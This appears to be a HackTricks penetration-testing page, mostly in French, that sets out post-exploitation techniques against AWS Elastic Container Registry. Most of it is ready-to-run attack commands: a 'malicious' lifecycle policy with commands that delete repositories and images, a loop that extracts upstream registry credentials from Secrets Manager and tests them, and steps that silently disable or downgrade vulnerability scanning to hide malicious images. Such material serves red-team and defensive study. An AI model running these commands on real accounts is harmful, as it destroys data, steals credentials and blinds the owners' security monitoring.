# AWS - ECR Post Exploitation {{#include ../../../../banners/hacktricks-training.md}} ## ECR Pour plus d'informations, consultez {{#ref}} ../../aws-services/aws-ecr-enum.md {{#endref}} ### Login, Pull & Push ```bash # Docker login into ecr ## For public repo (always use us-east-1) aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/ ## For private repo aws ecr get-login-password --profile --region | docker login --username AWS --password-stdin .dkr.ecr..amazonaws.com ## If you need to acces an image from a repo if a different account, in set the account number of the other account # Download docker pull .dkr.ecr..amazonaws.com/:latest ## If you still have the error "Requested image not found" ## It might be because the tag "latest" doesn't exit ## Get valid tags with: TOKEN=$(aws --profile ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken') curl -i -H "Authorization: Basic $TOKEN" https://.dkr.ecr..amazonaws.com/v2//tags/list # Inspect the image docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0 docker inspect .dkr.ecr..amazonaws.com/: # Inspect the image indicating the URL # Upload (example uploading purplepanda with tag latest) docker tag purplepanda:latest .dkr.ecr..amazonaws.com/purplepanda:latest docker push .dkr.ecr..amazonaws.com/purplepanda:latest # Downloading without Docker # List digests aws ecr batch-get-image --repository-name level2 \ --registry-id 653711331788 \ --image-ids imageTag=latest | jq '.images[].imageManifest | fromjson' ## Download a digest aws ecr get-download-url-for-layer \ --repository-name level2 \ --registry-id 653711331788 \ --layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" ``` Après avoir téléchargé les images, vous devriez **les vérifier pour des informations sensibles**: {{#ref}} https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html {{#endref}} ### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` Un attaquant disposant de l'une de ces permissions peut **créer ou modifier une politique de cycle de vie pour supprimer toutes les images dans le dépôt** puis **supprimer l'intégralité du dépôt ECR**. Cela entraînerait la perte de toutes les images de conteneurs stockées dans le dépôt. ```bash # Create a JSON file with the malicious lifecycle policy echo '{ "rules": [ { "rulePriority": 1, "description": "Delete all images", "selection": { "tagStatus": "any", "countType": "imageCountMoreThan", "countNumber": 0 }, "action": { "type": "expire" } } ] }' > malicious_policy.json # Apply the malicious lifecycle policy to the ECR repository aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json # Delete the ECR repository aws ecr delete-repository --repository-name your-ecr-repo-name --force # Delete the ECR public repository aws ecr-public delete-repository --repository-name your-ecr-repo-name --force # Delete multiple images from the ECR repository aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 # Delete multiple images from the ECR public repository aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 ``` ### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC) Si ECR Pull‑Through Cache est configuré pour des upstream registries authentifiées (Docker Hub, GHCR, ACR, etc.), les upstream registry credentials sont stockés dans AWS Secrets Manager avec un préfixe de nom prévisible : `ecr-pullthroughcache/`. Les opérateurs accordent parfois aux administrateurs ECR un large accès en lecture à Secrets Manager, permettant credential exfiltration et reuse en dehors d'AWS. Prérequis - secretsmanager:ListSecrets - secretsmanager:GetSecretValue Énumérer les secrets PTC candidats ```bash aws secretsmanager list-secrets \ --query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \ --output text ``` Extraire les secrets découverts et analyser les champs communs ```bash for s in $(aws secretsmanager list-secrets \ --query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do aws secretsmanager get-secret-value --secret-id "$s" \ --query SecretString --output text | tee /tmp/ptc_secret.json jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true done ``` Optionnel : valider les leaked creds contre l'upstream (read‑only login) ```bash echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io ``` Impact - La lecture de ces entrées Secrets Manager fournit des identifiants réutilisables pour le registre upstream (username/password or token), qui peuvent être exploités en dehors d'AWS pour récupérer des images privées ou accéder à des dépôts supplémentaires selon les permissions upstream. ### Registry-level stealth: désactiver ou réduire l'analyse via `ecr:PutRegistryScanningConfiguration` Un attaquant disposant de permissions ECR au niveau du registre peut silencieusement réduire ou désactiver l'analyse automatique des vulnérabilités pour TOUS les dépôts en configurant la registry scanning configuration sur BASIC sans aucune règle scan-on-push. Cela empêche les nouvelles images poussées d'être analysées automatiquement, masquant ainsi des images vulnérables ou malveillantes. Prérequis - ecr:PutRegistryScanningConfiguration - ecr:GetRegistryScanningConfiguration - ecr:PutImageScanningConfiguration (optionnel, par dépôt) - ecr:DescribeImages, ecr:DescribeImageScanFindings (vérification) Rétrogradation à l'échelle du registre vers manuel (aucun scan automatique) ```bash REGION=us-east-1 # Read current config (save to restore later) aws ecr get-registry-scanning-configuration --region "$REGION" # Set BASIC scanning with no rules (results in MANUAL scanning only) aws ecr put-registry-scanning-configuration \ --region "$REGION" \ --scan-type BASIC \ --rules '[]' ``` Test avec un repo et une image ```bash acct=$(aws sts get-caller-identity --query Account --output text) repo=ht-scan-stealth aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test . docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test # Verify no scan ran automatically aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus' # Optional: will error with ScanNotFoundException if no scan exists aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true ``` Optionnel : dégrader davantage au niveau du dépôt ```bash # Disable scan-on-push for a specific repository aws ecr put-image-scanning-configuration \ --region "$REGION" \ --repository-name "$repo" \ --image-scanning-configuration scanOnPush=false ``` Impact - Les nouveaux pushs d'images dans tout le registre ne sont pas analysés automatiquement, réduisant la visibilité du contenu vulnérable ou malveillant et retardant la détection jusqu'à ce qu'une analyse manuelle soit lancée. ### Rétrogradation du moteur de scan à l'échelle du registre via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR) Réduisez la qualité de détection des vulnérabilités pour l'ensemble du registre en basculant le moteur de scan BASIC du réglage par défaut AWS_NATIVE vers l'ancien moteur CLAIR. Cela n'empêche pas le scan, mais peut modifier de façon significative les résultats/couverture. Combinez avec une configuration de scan BASIC du registre sans règles pour rendre les scans uniquement manuels. Requirements - `ecr:PutAccountSetting`, `ecr:GetAccountSetting` - (Optional) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration` Impact - La configuration du registre `BASIC_SCAN_TYPE_VERSION` est définie sur `CLAIR`, de sorte que les scans BASIC suivants s'exécutent avec le moteur rétrogradé. CloudTrail enregistre l'appel API `PutAccountSetting`. Étapes ```bash REGION=us-east-1 # 1) Read current value so you can restore it later aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true # 2) Downgrade BASIC scan engine registry‑wide to CLAIR aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR # 3) Verify the setting aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION # 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans) aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true # 5) Restore to AWS_NATIVE when finished to avoid side effects aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE ``` ### Scanner les images ECR pour les vulnérabilités ```bash #!/bin/bash # This script pulls all images from ECR and runs snyk on them showing vulnerabilities for all images region= profile= registryId=$(aws ecr describe-registry --region $region --profile $profile --output json | jq -r '.registryId') # Configure docker creds aws ecr get-login-password --region $region --profile $profile | docker login --username AWS --password-stdin $registryId.dkr.ecr.$region.amazonaws.com while read -r repo; do echo "Working on repository $repo" digest=$(aws ecr describe-images --repository-name $repo --image-ids imageTag=latest --region $region --profile $profile --output json | jq -r '.imageDetails[] | .imageDigest') if [ -z "$digest" ] then echo "No images! Empty repository" continue fi url=$registryId.dkr.ecr.$region.amazonaws.com/$repo@$digest echo "Pulling $url" docker pull $url echo "Scanning $url" snyk container test $url --json-file-output=./snyk/$repo.json --severity-threshold=high # trivy image -f json -o ./trivy/$repo.json --severity HIGH,CRITICAL $url # echo "Removing image $url" # docker image rm $url done < <(aws ecr describe-repositories --region $region --profile $profile --output json | jq -r '.repositories[] | .repositoryName') ``` {{#include ../../../../banners/hacktricks-training.md}}